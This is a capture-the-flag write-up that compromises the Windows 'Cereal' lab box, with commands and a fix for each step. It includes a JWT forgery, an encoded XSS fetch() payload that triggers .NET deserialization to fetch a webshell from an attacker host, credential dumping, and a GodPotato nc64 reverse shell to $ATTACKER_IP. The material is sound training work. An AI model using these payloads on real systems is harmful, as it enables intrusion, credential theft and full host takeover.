Cereal
Summary
I scanned $TARGET and found a Windows IIS 10.0 server whose TLS certificate disclosed two virtual hosts: cereal.htb (a React login SPA) and source.cereal.htb (the ASP.NET Core development back-end). The development vhost served its .git directory publicly, and git-dumper reconstructed the entire application source. Searching the git commit history of Services/UserService.cs uncovered a hardcoded HMAC-SHA256 JWT signing key; using that key I forged a valid administrator token with no credentials.
The admin panel rendered stored request titles through react-marked-markdown 1.4.6, an abandoned library with a known JavaScript-link XSS bug. A payload submitted via the forged token fired a fetch() call from the administrator's browser (which ran on the server itself, satisfying the localhost-only IP restriction on the /requests POST endpoint) and delivered a Cereal.DownloadHelper JSON body. Because the application configured Newtonsoft.Json with TypeNameHandling.Auto, the deserializer instantiated my own class, which fetched a cmd.aspx webshell from my HTTP server and wrote it into the uploads directory.
Remote code execution via that webshell exposed a SQLite database whose users table held sonny's password in cleartext. SSH with those credentials gave an interactive foothold as cereal\sonny. Sonny's account held SeImpersonatePrivilege; GodPotato-NET4.exe coerced the RPCSS service into supplying a SYSTEM-level token and launched a reverse shell as NT AUTHORITY\SYSTEM, completing full compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export TOKEN="<the-token-you-captured>"
export KEY="<the-key-you-recovered>"Attack path: how the box was taken
Exact commands 3
Initial port and service fingerprint.
$ nmap -sC -sV -p 22,80,443 $TARGETExtract virtual hostnames from the TLS certificate SANs.
$ openssl s_client -connect $TARGET:443 </dev/null 2>/dev/null | openssl x509 -noout -text | grep -A3 'Subject Alternative Name'Register both vhosts for name-based routing in subsequent requests.
$ echo "$TARGET cereal.htb source.cereal.htb" | sudo tee -a /etc/hostsExact commands 3
Confirm the .git directory is publicly readable; expect 'ref: refs/heads/master'.
$ curl -sk https://source.cereal.htb/.git/HEADReconstruct the full repository from loose objects. Install with: pip install git-dumper.
$ git-dumper https://source.cereal.htb/.git/ /tmp/cereal-srcReview commit history and the full directory layout.
$ cd /tmp/cereal-src && git log --oneline --all && find . -maxdepth 3 -type f | sortFixBlock all public access to the .git directory on every web-facing serverCritical
Exact commands 3
Search the full commit history of UserService.cs for the signing key.
$ cd /tmp/cereal-src && git log -p --all -- Services/UserService.cs | grep -B5 -A5 -Ei 'secret|key|hmac|jwt|signing'Forge an admin JWT using the recovered key. Install with: pip install pyjwt.
$ TOKEN=$(python3 -c 'import jwt,time; print(jwt.encode({"unique_name":"1","nbf":int(time.time())-60,"exp":int(time.time())+86400,"iat":int(time.time())},"'"$KEY"'",algorithm="HS256"))') && echo $TOKENVerify the token is accepted: expect HTTP 200 and the admin requests list.
$ curl -sk -H "Authorization: Bearer $TOKEN" https://cereal.htb/api/requestsFixRemove the hardcoded JWT signing key from source code and rotate all issued tokens immediatelyCritical
Exact commands 2
Serve cmd.aspx (your ASP.NET command webshell) from my machine. The DownloadHelper gadget will fetch it at http://$ATTACKER_IP:8080/cmd.aspx.
$ python3 -m http.server 8080Replace <XSS_PAYLOAD> with the encoded markdown link: [x](javascript\x3afetch\x28'http://127.0.0.1/requests',{method:'POST',headers:{'Authorization':'Bearer TOKEN','Content-Type':'application/json'},body:JSON.stringify({'$type':'Cereal.DownloadHelper,Cereal','URL':'http://$ATTACKER_IP:8080/cmd.aspx','FilePath':'C:\\inetpub\\source\\uploads\\cmd.aspx'})}\x29). Substitute your $ATTACKER_IP and the forged TOKEN value. Parens encoded as \x28/\x29 to bypass the react-marked-markdown filter.
$ curl -sk -X POST https://cereal.htb/api/cereals -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"title":"<XSS_PAYLOAD>","body":"poc"}'FixReplace the abandoned react-marked-markdown library with a maintained, XSS-safe Markdown rendererHigh
Exact commands 3
Verify RCE. The numeric prefix (e.g. 21098374243) is assigned by the server; browse /uploads/ or watch your HTTP server log to find it.
$ curl -sk "https://cereal.htb/uploads/21098374243-cmd.aspx?cmd=whoami"Stage the SQLite credential database under the web root for download.
$ curl -sk "https://cereal.htb/uploads/21098374243-cmd.aspx?cmd=copy+C:\inetpub\cereal\db\cereal.db+C:\inetpub\source\uploads\cereal.db"Download and query the credential database: sonny's cleartext password is returned.
$ curl -sk -o /tmp/cereal.db https://cereal.htb/uploads/cereal.db && sqlite3 /tmp/cereal.db 'SELECT * FROM users;'FixDisable TypeNameHandling.Auto in Newtonsoft.Json to prevent deserialization gadget attacksCritical
Exact commands 1
SSH as sonny. Output confirms cereal\sonny identity, user flag (<user.txt>), and SeImpersonatePrivilege Enabled.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null sonny@$TARGET 'whoami & type C:\Users\sonny\Desktop\user.txt & whoami /priv'
cereal\sonnyFixHash all stored passwords with a modern one-way algorithm. Never store them in cleartextHigh
Exact commands 4
Upload the escalation tools. GodPotato-NET4.exe: github.com/BeichenDream/GodPotato/releases; nc64.exe: any static Ncat/Netcat Windows build.
$ sshpass -p "$PASSWORD" scp -o StrictHostKeyChecking=no GodPotato-NET4.exe nc64.exe sonny@$TARGET:C:/Users/sonny/Start the reverse-shell listener on my machine (replace 4444 with your chosen port).
$ nc -lvnp 4444Replace $ATTACKER_IP with your listener address. GodPotato coerces RPCSS and runs nc64.exe as SYSTEM; the callback shell connects to your listener.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no sonny@$TARGET 'C:\Users\sonny\GodPotato-NET4.exe -cmd "C:\Users\sonny\nc64.exe '"$ATTACKER_IP"' 4444 -e cmd.exe"'Run in the SYSTEM reverse shell to read root.txt: value is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtFixRemove SeImpersonatePrivilege from application and named user accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place (a config file, a database, a cracked hash, a service account) is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain': a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all (prefer a data format that carries no types, such as JSON parsed into known structures) and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control (a COM service, an RPC interface, a named pipe) then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 22/tcp | ssh OpenSSH for_Windows_7.7 (protocol 2.0) |
| 80/tcp | http Microsoft IIS httpd 10.0 |
| 443/tcp | ssl/https? |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.